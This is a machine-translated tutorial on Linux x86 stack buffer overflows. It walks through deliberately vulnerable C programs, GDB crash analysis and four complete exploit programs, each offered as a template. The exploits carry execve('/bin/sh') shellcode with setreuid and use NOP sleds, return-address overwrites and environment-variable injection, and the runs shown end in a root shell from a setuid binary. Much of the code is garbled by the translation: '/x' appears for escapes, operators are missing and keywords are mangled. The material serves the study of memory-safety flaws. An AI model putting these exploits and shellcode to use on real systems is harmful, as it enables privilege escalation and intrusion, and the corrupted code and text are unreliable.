Buffer overflow notes - stack overflow

xiaoxiao2021-03-06  108

I. Preliminary knowledge

II. Spill Principle Demo

III. Three common overflow methods Demo and instance analysis

There are many things that have been prepared, and later, due to the long reasons for the length, there is no other content, such as environment variables.

Passing BUF-related overflow (via STENV (), Putenv () and other functions to BUF), and some instance analysis.

It is some of my experience in learning the Buffer Overflow process, and it is a summary, and I hope to help those need.

friends.

Preliminary knowledge

Due to the problem, it will be omitted here, and the details can be referred to the compilation tutorial, or the preparatory knowledge in the tutorial in other buffers.

Just instantly understand the basic concepts such as Stack, ESP, EBP, EIP here.

#% ESP is the stack pointer register, which points to the top of the current stack storage area.

#% EBP is a base register that points to the bottom of the current stack storage area.

#% EIP is the instruction pointer (the most useful register for our buffer overflow)

2. Three common overflow methods.

First, let's take a look at a loophole.

[TT @ pH4NT0M EXPLAB] $ CAT Stack1.c

#include

INT main (int Argc, char ** argv) {

Char BUF [10];

STRCPY (BUF, Argv [1]);

Printf ("BUF's 0x% 8x / N", & BUF);

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

What did you do here? It is to construct a 10bytes of buffer, then copy the first parameter of the command to the buffer

Since there is no boundary inspection, when Argv [1] exceeds 10bytes, the buffer overflows. Of course, in theory is only

It takes more than 10bytes, but actually due to the Version of GCC, there is often a lot of fills after Buffer.

So actually we need 28bytes to really cover the buffer, we still actually look at it.

[TT @ pH4NT0M EXPLAB] $ ./stack1 `perl -e 'print" a "x10'`

BUF's 0xBFFEC30

[TT @ pH4NT0M EXPLAB] $ ./stack1 `perl -e 'print" a "x24'`

BUF's 0xBFFFF220

[TT @ pH4NT0M EXPLAB] $ ./stack1 `perl -e 'print" a "x28'`

BUF's 0xBFFFE020

Paragraph error

[TT @ pH4NT0M EXPLAB] $

When you override 10bytes, the program is normal to exit, 24bytes is also the same, until 28bytes, segment fault occurs.

We use GDB to debug it.

[TT @ pH4NT0M EXPLAB] $ GDB Stack1

GNU GDB Red Hat Linux (5.3POST-0.20021129.18RH)

CopyRight 2003 Free Software Foundation, Inc.

GDB IS Free Software, Covered by the gnu general public license, and you are

Welcome to change IT and / or or distribute copies of it under certain conditions.

Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.

THIS GDB WAS Configured AS "i386-redhat-linux-gnu" ... (gdb) disass main

Dump of assembler code for function main:

0x0804835C

: push% EBP

0x0804835d

: MOV% ESP,% EBP

0x0804835f

: SUB $ 0x18,% ESP

0x08048362

: and $ 0xffffffff0,% ESP

0x08048365

: MOV $ 0x0,% EAX

0x0804836a

: sub% EAX,% ESP

0x0804836C

: SUB $ 0x8,% ESP

0x0804836f

: MOV 0xc (% EBP),% EAX

0x08048372

: add $ 0x4,% EAX

......> ......

Here we only need to pay attention to

0x0804835f

: SUB $ 0x18,% ESP

0x18 is equal to 10-based 24

In fact, the memory assigned a 24-byte space for Buffer in memory, so it is not difficult to explain the conclusions above.

Then the next 4bytes certainly cause segment fault.

So, what is we overwrunk? Run the program, cover 28bytes

(GDB) R `perl -e 'print" a "x28'`

Starting Program: / home / tt / explab / stack1 `perl -e 'print" a "x28'`

BUF's 0xBFFFF110

Program received Signal SigSegv, Segmentation Fault.

0x42015501 in __libc_start_main () from /Lib/tls/libc.so.6

(GDB) I REG

EAX 0x0 0

ECX 0x4212ee20 1108536864

EDX 0x11 17

EBX 0x42130A14 1108544020

ESP 0xBFFFF130 0xBffff130

EBP 0x41414141 0X41414141

ESI 0x40015360 1073828704

EDI 0x80483d1 134513617

EIP 0x42015501 0x42015501

EFLAGS 0X10206 66054

Run again, add 4Bytes this time, that is, 32bytes overwritten

(GDB) R `perl -e 'print" a "x32'`

Starting Program: / TT / EXPLAB / Stack1 `Perl -e 'Print" a "x32'`

BUF's 0xBffffff610

Program received Signal SigSegv, Segmentation Fault.

0x41414141 in ?? ()

(GDB) I REG

EAX 0x0 0

ECX 0x4212ee20 1108536864

EDX 0x11 17

EBX 0x42130A14 1108544020

ESP 0xBfffff630 0xBfffff630

EBP 0x41414141 0X41414141

ESI 0x40015360 1073828704

EDI 0X80483D0 134513616EIP 0X41414141 0X41414141

EFLAGS 0X10282 66178

By two instances above, you can see that when 28bytes will override EBP, 32bytes, will override EIP

(Note: A ASCII code value is 41)

Therefore, the memory is actually like this.

-------

| BUF |

-------

| Filler |

-------

| EBP |

-------

| EIP |

-------

| ... |

| Memory Gaocal |

So, when we covers the EIP, you can change the process of the program, cover it with 0x41414141, not read in memory.

Of course, the paragraph error

Note that we have to cover the EIP value, it should be the entrance address we have to run, not the code itself.

Let's make a demonstration

[TT @ pH4NT0M EXPLAB] $ cat stackdemo.c

#include

Void fun () {

Printf ("Test, Being Hacked !!! / N / N");

}

INT main (int Argc, char ** argv) {

Char BUF [10];

STRCPY (BUF, Argv [1]);

Printf ("BUF's 0x% 8x / N", & BUF);

Printf ("FUN IS AT 0x% 8x / N", FUN);

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

It is much different from before, there is more functions in this program, but there is no call in main (), so the program should not be called.

Fun is normal. Our goal is to overflow, you can call FUN

Through the previous conclusions, we know that after the 28-byte, add 4 bytes to cover the EIP, so you only need to set these 4 bytes, set to fun.

The entrance address is OK!

We are concluded. For the sake of convenience, I printed the address of the FUN function in the program, of course, can also pass the DISASS FUN in GDB.

Get this address, the result is the same

[TT @ pH4NT0M EXPLAB] $ ./stackdemo test

BUF's 0xBFFFE130

Fun is at 0x 804835c

[TT @ pH4NT0M EXPLAB] $

You can see the entry address of the function FUN at 0x0804835C

So, we should construct it to call to function fun.

[TT @ pH4NT0M EXPLAB] $ ./stackdemo `perl -e 'print" a "x28; print" / x5c / x83 / x04 / x08 "`

BUF's 0xBFFFE090

Fun is at 0x 804835c

Test, Being Hacked !!!

Paragraph error

[TT @ pH4NT0M EXPLAB] $

Sure enough! The function is successfully implemented!

Through the above analysis, we have basically mastered the distribution of the program, the memory, then, now look at the true attack.

We have a shell with a shell by overriding the EIP, changing the program process.

Here are three common methods.

1.NNNNNNNNSSSSSSSSSSSSSSRRRRRRRRRRR

This method is suitable for a big buffer, which is a very traditional method, remember this method of Alpha One in his classic work.

Here n represents NOPS, that is, 0x90, in actual operation, the program will not do anything, but have been delaying these NOPS to run,

Until the instructions that are not NOPS are encountered.

The reason for using a lot of NOPs is to increase the cost of Exploit success.

S represents Shellcode, which is a piece of code we want to perform, get the relevant documentation, please refer to the relevant documentation.

R Represents Return the address, below I use RET, is the value we used to override EIP, and he will point to Shellcode as mentioned earlier, this method is suitable for large buffers, because if the buffer is too small, it may Can't put shellcode, so you can't use RET.

Correctly covering the EIP, can't get the results we want. At the same time, even if you can put down the shellcode, the front NOPS is too small, too

It will greatly affect the success rate of Exploit.

Let's look at the actual example

[TT @ pH4NT0M EXPLAB] $ CAT Stack2.c

#include

INT main (int Argc, char ** argv) {

Char BUF [500];

STRCPY (BUF, Argv [1]);

Printf ("BUF's 0x% 8x / N", & BUF);

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

We set a BUF for 500-bytes of big buffer, with the front method, with GDB disassembly to overwrite EIP

The bytes you need. Of course, here we can demonstrate that we can use another method:

It is the continuous test caused the number of bytes that overflows to judge the desired byte of the overlay.

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x500'`

BUF's 0xBFFDE50

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x600'`

BUF's 0xBFFEBF0

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x550'`

BUF's 0xBFFFE7A0

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x530'`

BUF's 0xBFFF0C0

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x520'`

BUF's 0xBFFFE440

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x525'`

BUF's 0xBFFFE0C0

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x524'`

BUF's 0xBFFFE1C0

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x521'`

BUF's 0xBFFFE040

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x522'`

BUF's 0xBFFFFF040

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x523'`

BUF's 0xBFFFF140

[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x524'`

BUF's 0xBFFEEC0

Paragraph error

[TT @ pH4NT0M EXPLAB] $

In this way, we finally determined the overflow point and the result of the contrast.

(GDB) R `perl -e 'print" a "x524'`

Starting Program: / home / tt / explab / stack2 `perl -e 'print" a "x524'`

BUF's 0xBFFFD830

Program received Signal SigSegv, Segmentation Fault.

0x42015501 in __libc_start_main () from /Lib/tls/libc.so.6

(GDB) I REG

EAX 0x0 0

ECX 0x4212ee20 1108536864

EDX 0x11 17

EBX 0x42130A14 1108544020

ESP 0xBFFFDA40 0xBFFFDA40

EBP 0x41414141 0X41414141

ESI 0x40015360 1073828704

EDI 0x80483d9 134513625

EIP 0x42015501 0x42015501

EFLAGS 0X10202 66050

(GDB) disass main

Dump of assembler code for function main:

0x0804835C

: push% EBP

0x0804835d

: MOV% ESP,% EBP

0x0804835f

: SUB $ 0X208,% ESP ====> Here: 0x208 = 520, so 524 covers EBP

0x08048365

: and $ 0xffffffff0,% ESP

0x08048368

: MOV $ 0x0,% EAX

...... ...

In this way, after the algorithm is clear, you can start writing our Exploit.

Below is a demo of a demonstration that can be used as a template similar to the Exploit.

[TT @ pH4NT0M EXPLAB] $ CAT stackexp2.c

#include

#include

#include

Char shellcode [] =

// setReuid (0, 0);

"/ x31 / xc0" // xor% EAX,% EAX

"/ x31 / xdb" // xor% EBX,% EBX

"/ x31 / xc9" // xor% ECX,% ECX

"/ XB0 / X46" // MOV $ 0x46,% Al

"/ XCD / X80" // INT $ 0x80

// Execve / Bin / SH

"/ x31 / xc0" // xor% EAX,% EAX

"/ x50" // push% EAX

"/ x68 / x2f / x2f / x73 / x68" // push $ 0x68732f2f

"/ x68 / x2f / x62 / x69 / x6e" // push $ 0x6e69622f

"/ x89 / xe3" // MOV% ESP,% EBX

"/ x8d / x54 / x24 / x08" // LEA 0x8 (% ESP, 1),% EDX

"/ x50" // push% EAX

"/ x53" // push% EBX

"/ x8d / x0c / x24" // lea (% ESP, 1),% ECX

"/ XB0 / X0B" // MOV $ 0XB,% Al

"/ XCD / X80" // INT $ 0x80

// exit ();

"/ x31 / xc0" // xor% EAX,% EAX

"/ XB0 / X01" // MOV $ 0x1,% Al

"/ xcd / x80"; // int $ 0x80

Unsigned long get_esp () {

__ASM __ ("MOVL% ESP,% EAX");

}

INT Main (int Argc, char * argv []) {

Char BUF [530];

Char * p;

P = BUF;

INT I;

Unsigned long Ret;

INT OFFSET = 0;

/ * Offset = 400 Will Success * /

IF (Argc> 1)

OFFSET = ATOI (Argv [1]);

RET = GET_ESP () - OFFSET;

MEMSET (BUF, 0x90, SIZEOF (BUF));

Memcpy (BUF 524, (char *) & RET, 4);

/ * MODIFY THIS value will modify nops and shellcode addr * /

Memcpy (BUF I 100, Shellcode, Strlen (shellcode);

Printf ("RET IS AT 0x% 8X / N ESP IS AT 0x% 8x / N", RET, GET_ESP ());

Execl ("./ Stack2", "Stack2", BUF, NULL;

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

First with

MEMSET (BUF, 0x90, SIZEOF (BUF));

Fill the entire BUF for NOPS

again

Memcpy (BUF I 100, Shellcode, Strlen (shellcode);

From BUF [100] to fill the shellcode, front and back is NOPS

Of course, you can increase the number of NOPs, which can modify 100 values, but to remember not to let the shellcode overwrite the EIP!

Next, it is

Memcpy (BUF 524, (char *) & RET, 4);

Use the EIP to override our RET, let the program jump to NOPS, until the execution of our shellcode

(Isn't the characteristics of NOPS?)

Finally

Execl ("./ Stack2", "Stack2", BUF, NULL;

To perform a vulnerability program, and put our well-constructed BUF copy!

Note that BUF in Exploit is our own well-constructed!

The rest of the difficulty is the determination of the value of RET.

Because the process of the program is already very clear, RET is we must be careful, because he can't fall to other places, it must fall

Go to our NOPS!

The method used here is generally the method of ESP-OFFSET

So let's first

Unsigned long get_esp () {

__ASM __ ("MOVL% ESP,% EAX");

}

Obtain the value of the ESP, although this value is different from the value of the ESP of the vulnerability program, it will not differ very far. Then use offset to adjust,

This allows you to get the correct RET value.

We printed the address of the BUF, because our NOPS started from the BUF, so only need until the Buf address, control RET to & buf 100

Within the range, you can guarantee that RET falls in NOPS!

Specific can be seen from GDB debugging

(GDB) R

Starting Program: / Home / TT / Explab / Stackexp2

RET IS AT 0xBFFFFF2C0

ESP IS AT 0xBfff2f8

Program Received Signal SigTrap, Trace / Breakpoint Trap.

0x40000Be0 ​​in _Start () from /lib/ld-linux.so.2 (GDB) C

Continuing.

BUF's 0xBFFFEA40

Program received Signal SigSegv, Segmentation Fault.

0xBFFFF2C0 in ?? ()

(GDB) I REG EIP EBP ESP

EIP 0xBFFFF2C0 0xBffFFF2C0

EBP 0x90909090 0x90909090

ESP 0xBFFFEC50 0xBFFEC50

(GDB) X / 50X $ ESP-532

0xBffea3c: 0x00000000 0x90909090 0x90909090 0x90909090

0xBffea4c: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFEA5C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFEA6C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBffea7c: 0x90909090 0x90909090 0x90909090 0x90909090

0xBffea8c: 0x90909090 0x90909090 0x90909090 0x90909090

0xBffea9c: 0x90909090 0x90909090 0x90909090 0xDB31C031 0X46B0C931

0xBFFFEAAC: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962

0xBFFFEABC: 0x24548DE3 0x8D535008 0x0BB0240C 0xc03180CD

0xBFFFEACC: 0x80cd01b0 0x90909090 0x90909090 0x90909090

0xBFFFEADC: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFEAEC: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFEAFC: 0x90909090 0x90909090

(GDB)

I saw our shellcode!

But our RET did not jump here,

(GDB) I REG EIP EBP ESP

EIP 0xBFFFF2C0 0xBffFFF2C0

Our Ret is now jumped here ...

Then let's change the OFFSET

[TT @ pH4NT0M EXPLAB] $ ./stackedexp2

RET IS AT 0xBFFFE0C0

ESP is at 0xBFFFE0F8

BUF's 0xBFFD930

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 100

RET IS AT 0xBFFD7A4

ESP IS AT 0xBFFD7F8

BUF's 0xBFFFD630

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stacked pxp2 200

RET IS AT 0xBFFFFF0C0

ESP IS AT 0xBfff178

BUF's 0xBFFFEFB0

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 300

RET IS AT 0xBFFEB5C

ESP IS AT 0xBFFEC78

BUF's 0xBFFEAB0

Illegal directive

[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 400

RET IS AT 0xBFFD6F8

ESP IS AT 0xBFFD878

BUF's 0xBFFD6B0

SH-2.05B $

Look! When our offset is 400, it will succeed in overflow to get the shell!

Why isn't it root? That's because our vulnerability program stack2 did not add S bit

When we add S bit

[TT @ pH4NT0M EXPLAB] $ LS Stack2 -L

-rwsrwsr-x 1 root root 11673 July 21 15:42 Stack2

[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 400

RET IS AT 0xBFFD8F8

ESP IS AT 0xBFFDA78

BUF's 0xBFFD8B0

SH-2.05B #

Look! Get the root shell, the lottery ticket !!!

2.RrrrrrrrrnnnnnnnnnnnnnssssssSSSSSSSSSSSS

This method is equally suitable for large and small buffers, and the RET address is easy to calculate, which is significantly better than the previous method!

The principle is:

First, fill the entire BUF, until the RET has covered the EIP, followed by the large number of NOPs after retail,

Finally, it is our shellcode!

The RET address is also very good here, because the size of the entire BUF is determined by our self (the buf here is our constructor.

BUF, not the overflowed buf in the original program, so only need to add an offset in the start address of BUF

You can let Ret fall in NOPS.

We look at the original example

[TT @ pH4NT0M EXPLAB] $ CAT Stack1.c

#include

INT main (int Argc, char ** argv) {

Char BUF [10];

STRCPY (BUF, Argv [1]);

Printf ("BUF's 0x% 8x / N", & BUF);

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

In STACK1.C, BUF only 10bytes, even if there is only 28bytes that the GCC allocation is also available, it is likely to put

Can't let our shellcode, so the first method is not applicable here.

We use the rrrrnnnnsssss type filling method.

Here is a demonstration of Exploit I wrote, you can act as a template like Exploit

[TT @ pH4NT0M EXPLAB] $ cat stackexp3.c

#include

#include

#include

Char shellcode [] =

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x17"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x17"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x2e"

"/ xcd / x80"

"/ x31 / xc0"

"/ x50"

"/ x68 / x2f / x2f / x73 / x68"

"/ x68 / x2f / x62 / x69 / x6e"

"/ x89 / xe3"

"/ x50"

"/ x53"

"/ x89 / xe1"

"/ x31 / xd2"

"/ xb0 / x0b"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x01"

"/ xcd / x80";

INT main (int Argc, char ** argv) {

Char BUF [500];

Unsigned long Ret, P;

INT I;

P = & buf;

RET = P 70;

MEMSET (BUF, 0x90, SIZEOF (BUF));

For (i = 0; i <44; i = 4)

* (long *) & buf [i] = RET;

Memcpy (buf 400 i, shellcode, strlen (shellcode);

EXECL ("./ stack1", "stack1", buf, null;

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

Allocate a large BUF of 500Bytes for our construct

Fill the entire buffer NOPS

MEMSET (BUF, 0x90, SIZEOF (BUF));

Then filled the first 44bytes, and 44 here casually, the purpose just needs to ensure that the cover is easy.

From the previous analysis, the EIP will be overwritten when 32bytes is covered, so 44 can meet our requirements.

For (i = 0; i <44; i = 4)

* (long *) & buf [i] = RET;

Next, copy the shellcode to the appropriate location.

Memcpy (buf 400 i, shellcode, strlen (shellcode);

This, there is almost more than 300 NOPs in front of Shellcode, and the success chance is very large.

Finally, perform a vulnerability program, copy our carefully constructed buf to the target program

The rest of the key issue is the determination of the RET value

As mentioned earlier, the value of the RET should be the start address of the buf plus an offset, making RET inside NOPS.

Our BUF structure is rrrrrrnnnnnnnsssssss

RET is filling from the start address of the BUF, so it only needs Offset to skip the RET, you can fall to NOPS

I have.

Thus we calculate this

P = & buf;

RET = P 70;

Obviously, 70> 44, so in this example, RET can jump to the NOPS execution. We actually look

[TT @ pH4NT0M EXPLAB] $ ./stackedexp3

BUF's 0xBFFFEF40

SH-2.05B #

The memory distribution is as follows

(GDB) X / 50X $ ESP-36

0xBFFFDCDC: 0x08048269 0xBFFFE186 0xBFFFE186 0xBFFFE186

0xBFFFDCEC: 0xBFFFE186 0xBFFFE186 0xBFFFE186 0xBFFFE186

0xBFFFDCFC: 0xBFFFE186 0xBFFFE186 0xBFFFE186 0xBFFFE186

0xBFFFDD0C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD1C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBffFDD2C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD3C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD4C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD5C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD6C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD7C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD8C: 0x90909090 0x90909090 0x90909090 0x90909090

0xBFFFDD9C: 0x90909090 0x90909090

(GDB)

......

(GDB)

0xBffde70: 0x90909090 0x90909090 0x90909090 0x909090900xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090

0xBffde90: 0x90909090 0x90909090 0x90909090 0xD889DB31

0xBffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31

0xBffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68

0xBffDec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180

0xBfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000

0xBffdee0: 0x00000000 0x00000000 0x00000000 0x00000000

0xBFFFDEF0: 0x00000000 0x00000000 0x00000000 0x00000000

The middle is a large number of NOPs, as we want, BUF follows the rrrrrnnnnnsssss we need.

The way is filled!

3. Using environment variables

This is a method currently the most effective and most commonly used. Adaptability, and can accurately locate the address of Shellcode,

So even NOPs can do not have to be necessary, this benefits are bypass some environmental security programs because a lot of NOPS

Willing may be detected and cannot be executed.

Functions Execve () is a relatively special function, and his specific features make us write Exploit half-mexion.

Specific principle can refer to Oyxin translation << using the execve () function written without NOPS EXPLOIT >>

allowable

Http://www.ph4nt0m.net/docs/env.txt finds this article.

Simply put shellcode in an environment variable .Execve () provides a new environment to the program. From memory

The high address 0xC0000000 starts calculation, the file name, and the program execve () will be in memory by COPY.

In this way, as long as we calculate the exact position of Shellcode formula to formula!

The calculation method of the shellcode address is

0xC0000000 - 0x04 - Sizeof (FileName) - Sizeof (Shellcode)

At this time, our BUF construct is relatively simple. Just need the way Aaaaaaaar to fill

A just need to fill the buf until EBP, the last EIP is overwritten by a RET, and RET is accurate to the address of the shellcode.

Finally, use shellcode to execute the entire program!

We still overflow for Stack1.c.

[TT @ pH4NT0M EXPLAB] $ CAT Stack1.c

#include

INT main (int Argc, char ** argv) {

Char BUF [10];

STRCPY (BUF, Argv [1]);

Printf ("BUF's 0x% 8x / N", & BUF);

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

Here is a demo I write, you can act as a template like Exploit.

[TT @ pH4NT0M EXPLAB] $ CAT stackexp1.c

#include

Char shellcode [] =

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x17"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x17"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8" "/ xb0 / x2e"

"/ xcd / x80"

"/ x31 / xc0"

"/ x50"

"/ x68 / x2f / x2f / x73 / x68"

"/ x68 / x2f / x62 / x69 / x6e"

"/ x89 / xe3"

"/ x50"

"/ x53"

"/ x89 / xe1"

"/ x31 / xd2"

"/ xb0 / x0b"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x01"

"/ xcd / x80";

INT main (int Argc, char ** argv) {

Char BUF [32];

CHAR * P [] = {"./ stack1", buf, null};

Char * env [] = {"Home = / root", shellcode, null};

Unsigned long Ret;

RET = 0xc0000000-Strlen ("./ stack1") - sizeof (void *);

MEMSET (BUF, 0x41, SIZEOF (BUF));

Memcpy (& BUF [28], & Ret, 4);

Printf ("RET IS AT 0x% 8x / N", RET);

Execve (P [0], P, ENV);

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

Put shellcode in the environment variable to be executed

Char * env [] = {"Home = / root", shellcode, null};

Fill the entire BUF with A

MEMSET (BUF, 0x41, SIZEOF (BUF));

Calculate the value of RET and override EIP

RET = 0xc0000000-Strlen ("./ stack1") - sizeof (void *);

......

Memcpy (& BUF [28], & Ret, 4);

Final executing execve ()

Execve (P [0], P, ENV);

Let's take a look at the memory distribution of Exploit.

(GDB) B EXECVE

BreakPoint 1 AT 0x80482ec

(GDB) R

Starting program: / home / tt / explab / stackexp1

BreakPoint 1 AT 0x420ac7f6

RET IS AT 0xBFFFFFBB

Breakpoint 1, 0x420ac7f6 in Execve () from /lib/tls/libc.so.6

(GDB) I REG

EAX 0xBFFFE190 -1073749616

ECX 0x4212ee20 1108536864

EDX 0x15 21

EBX 0x42130A14 1108544020

ESP 0xBFFFE150 0xBFFFE150

EBP 0xBFFFE158 0xBFFFE158

ESI 0x40015360 1073828704

EDI 0x80484DC 134513884

EIP 0x420ac7f6 0x420ac7f6

EFLAGS 0x286 646

......

(GDB) X / 50X $ ESP

0xBFFFE150: 0x420ac7f0 0x40015a38 0xBFFFE1C8 0x080484A2

0xBffe160: 0x08048558 0xBFFFE190 0xBFFFE180 0x4207A750

0xBffe170: 0x4000807f 0x4001582c 0x00000036 0xBffffBB0XBFFFE180: 0x08048561 0x080495c0 0x00000000 0x40016380

0xBFFFE190: 0x08048558 0xBFFFE1A0 0x00000000 0x0804837A

0xBffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141

0xBFFE1B0: 0X41414141 0X41414141 0X41414141 0XBFFFFFBB

0xBFFFE1C0: 0x42130A14 0x40015360 0xBFFFE1E8 0x42015574

0xBFFFE1D0: 0x00000001 0xBFFFE214 0xBFFFE21C 0x4001582C

......

(GDB) C

......

(GDB) X / 50X $ ESP

......

0xBffFFF 40: 0x00000000 0x00000000 0x00000000 0x00000000

0xBfffff50: 0x00000000 0x00000000 0x00000000 0x00000000

0xBfffff60: 0x00000000 0x00000000 0x00000000 0x36690000

0xBfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141

0xBfffff80: 0x41414141 0x41414141 0x41414141 0x41414141

0xBfffff90: 0x41414141 0x41414141 0xBfffffbb 0x42130a14

0xBfffffa0: 0x40015360 0xBFFFE1E8 0x42015574 0x4f480001

0xBffffFfb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8

0xBffffffc0: 0x89db3180 0xcd17b0d8

(GDB)

0xBffFFFFC8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68

0xBfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231

0xBfffffe8: 0xDB3180CD 0x01B0D889 0x2e0080cd 0x6174732f

0xBfffffff8: 0x00316B63 0x00000000 Cannot Access Memory At Address 0xC0000000

(GDB) X / 50X 0xBFFFFFC1

0xBffffffc1: 0xD889db31 0x80cd17b0 0xd889db31 0x80cd2eb0

0xBfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e

0xBffffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8

0xBFFFFF1: 0x2f2e0080 0x63617473 0x0000316b cannot access memory at address 0xBffffffd

(GDB)

We can already see the program in accordance with our idea.

[TT @ pH4NT0M EXPLAB] $ ./stackedExp1

RET IS AT 0xBFFFFFBB

BUF's 0xBFFFFC60

SH-2.05B #

The above is three common methods.

Finally, simply talk about the problem of passing environment variables to BUF

Many programs have not bordered the environment variables, so when the environment variable is given a long value,

Running the loopholes will copy the environment variable into the buffer, causing overflow.

It is usually transmitted by STENV (), PUTENV () and other functions.

Due to space relationships, this is no longer detailed, just give an example and a corresponding EXPLOIT I have as a reference.

[TT @ pH4NT0M EXPLAB] $ CAT ENV1.C

#include

#include

INT main (int Argc, char ** argv) {

Char buffer [500];

Printf ("BUF ADDR IS-% P - / N", & buffer;

STRCPY (Buffer, GetENV ("pH4NT0M");

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

Below is a demo expection that I wrote, you can act as a template like Exploit

[TT @ pH4NT0M EXPLAB] $ CAT ENVEXP1.C

#include

#include

Char shellcode [] =

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x17"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x17"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x2e"

"/ xcd / x80"

"/ x31 / xc0"

"/ x50"

"/ x68 / x2f / x2f / x73 / x68"

"/ x68 / x2f / x62 / x69 / x6e"

"/ x89 / xe3"

"/ x50"

"/ x53"

"/ x89 / xe1"

"/ x31 / xd2"

"/ xb0 / x0b"

"/ xcd / x80"

"/ x31 / xdb"

"/ x89 / xd8"

"/ xb0 / x01"

"/ xcd / x80";

Unsigned long get_esp () {

__ASM __ ("MOVL% ESP,% EAX");

}

INT main (int Argc, char ** argv) {

Char BUF [528];

INT I;

INT OFFSET = 90;

Unsigned long Ret;

MEMSET (BUF, 0x90, SIZEOF (BUF));

/ * SET OFFSET to 100 to spawn a shell! * /

IF (Argc> 1)

OFFSET = ATOI (Argv [1]);

RET = GET_ESP () - OFFSET;

Memcpy (BUF 524, & RET, 4);

Memcpy (buf 400 i, shellcode, strlen (shellcode);

STENV ("pH4NT0M", BUF, 1);

Printf ("RetadDR IS AT 0x% LX / N", RET);

EXECL ("./ ENV1", "ENV1", NULL

Return 0;

}

[TT @ pH4NT0M EXPLAB] $

The results of the operation are as follows, when the offset takes 100, causing overflow to get the shell.

[TT @ pH4NT0M EXPLAB] $ ./ENVEXP1

Retaddr is at 0xBffff1CE

Buf addr is- 0xbffefa0 -

Paragraph error

[TT @ pH4NT0M EXPLAB] $ ./Envexp1 100retaddr is at 0xBFFFED34

Buf addr is- 0xbffeba0 -

SH-2.05B $

The above is a little experience in the process of learning. It is convenient for future reference, and I hope to help the friends you need. Please ask your seniors.

Specify the defects and errors.

转载请注明原文地址:https://www.9cbs.com/read-101307.html

New Post(0)